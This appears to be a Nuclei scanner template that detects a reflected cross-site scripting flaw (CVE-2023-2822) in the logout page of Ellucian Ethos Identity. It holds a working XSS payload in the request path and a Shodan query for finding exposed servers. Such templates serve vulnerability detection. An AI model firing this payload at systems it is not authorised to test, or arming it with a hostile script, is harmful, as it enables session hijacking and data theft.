id: CVE-2023-2822

info:
  name: Ellucian Ethos Identity CAS - Cross-Site Scripting
  author: Guax1
  severity: medium
  description: |
    A vulnerability was found in Ellucian Ethos Identity up to 5.10.5. It has been classified as problematic. Affected is an unknown function of the file /cas/logout. The manipulation of the argument url leads to cross site scripting. It is possible to launch the attack remotely.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Upgrading to version 5.10.6 is able to address this issue. It is recommended to upgrade the affected component.
  reference:
    - https://medium.com/@cyberninja717/685bb1675dfb
    - https://medium.com/@cyberninja717/reflected-cross-site-scripting-vulnerability-in-ellucian-ethos-identity-cas-logout-page-685bb1675dfb
    - https://vuldb.com/?ctiid.229596
    - https://vuldb.com/?id.229596
    - https://github.com/cberman/CVE-2023-2822-demo
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2822
    cwe-id: CWE-79
    epss-score: 0.03167
    epss-percentile: 0.90173
    cpe: cpe:2.3:a:ellucian:ethos_identity:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ellucian
    product: ethos_identity
    shodan-query: html:"Ellucian Company"
    google-query: "login with ellucian ethos identity"
  tags: cve2023,cve,cas,xss,ellucian

http:
  - method: GET
    path:
      - '{{BaseURL}}/cas/logout?url=https://oast.pro"><img%20src=x%20onerror=alert(document.domain)>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>'
          - 'Identity Server'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022032320b6050dff9ab27355a70a59fc91e1a93cbcc3b7baf66112f6c7d2338fb980221009fecbd343a9c563dca53df1617986c480cc2132911bcf89cdfb687ecd9590ff6:922c64590222798bb761d5b6d8e72950